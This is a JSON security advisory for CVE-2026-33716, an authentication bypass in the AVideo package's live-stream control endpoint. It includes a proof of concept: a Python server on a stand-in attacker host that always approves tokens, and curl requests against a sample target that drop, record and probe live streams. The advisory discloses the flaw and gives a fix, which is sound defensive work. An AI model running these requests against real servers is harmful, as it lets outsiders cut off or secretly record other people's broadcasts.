{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:28:21Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.\n\n## Details\n\nThe vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:\n\n**`plugin/Live/standAloneFiles/control.json.php:77-79`** \u2014 User input overrides server config:\n```php\nif (!empty($_REQUEST[\u0027streamerURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027streamerURL\u0027];\n}\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:83-91`** \u2014 The user-controlled value is assigned to the request object:\n```php\n$obj-\u003estreamerURL = $streamerURL;\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:115-126`** \u2014 Token verification is sent to the attacker-controlled URL:\n```php\n$verifyTokenURL = \"{$obj-\u003estreamerURL}plugin/Live/verifyToken.json.php?token={$obj-\u003etoken}\";\n// ...\n$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));\n```\n\nThe legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed \u2014 the attacker\u0027s server simply responds with `{\"error\": false}`.\n\nAfter authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.\n\nSSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.\n\nNotably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *\"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF.\"* The same fix was not applied to `control.json.php`.\n\n## PoC\n\n**Step 1:** Set up an attacker server that returns `{\"error\": false}` for all requests.\n\n```bash\n# Minimal Python server on attacker machine (attacker.example.com:8888)\npython3 -c \u0027\nimport http.server, json\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"error\": False}).encode())\n    def log_message(self, *a): pass\nhttp.server.HTTPServer((\"0.0.0.0\", 8888), H).serve_forever()\n\u0027\n```\n\n**Step 2:** Drop a victim\u0027s live stream (kill their broadcast):\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=drop_publisher\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\nExpected response (authentication bypassed, command executed):\n```json\n{\"error\":false,\"msg\":\"\",\"streamerURL\":\"http://attacker.example.com:8888/\",\"token\":\"anything\",\"command\":\"drop_publisher\",\"app\":\"live\",\"name\":\"VICTIM_STREAM_KEY\",\"response\":\"\",\"requestedURL\":\"http://localhost:8080/control/drop/publisher?app=live\u0026name=VICTIM_STREAM_KEY\"}\n```\n\n**Step 3:** Start unauthorized recording of a victim\u0027s stream:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=record_start\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n**Step 4:** Probe whether a stream name is active:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=is_recording\u0026name=GUESS_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n## Impact\n\n- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.\n- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.\n- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.\n- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.\n- **No authentication required:** The entire attack is performed without any credentials.\n\n## Recommended Fix\n\nRemove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:\n\n```php\n// BEFORE (vulnerable):\nif (!empty($_REQUEST[\u0027streamerURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027streamerURL\u0027];\n}\n\n// AFTER (fixed):\n// SECURITY: User-supplied streamerURL is intentionally NOT accepted.\n// Allowing it would enable authentication bypass and SSRF via file_get_contents\n// on an attacker-controlled host. streamerURL MUST come from the configuration\n// file or be hard-coded in this file above.\nif (empty($streamerURL)) {\n    error_log(\"control.json.php: streamerURL is not configured\");\n    die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027Server not configured\u0027]));\n}\n```",
  "id": "GHSA-9hv9-gvwm-95f2",
  "modified": "2026-03-25T21:28:21Z",
  "published": "2026-03-25T21:28:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9hv9-gvwm-95f2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/388fcd57dbd16f6cb3ebcdf1d08cf2b929941128"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php"
}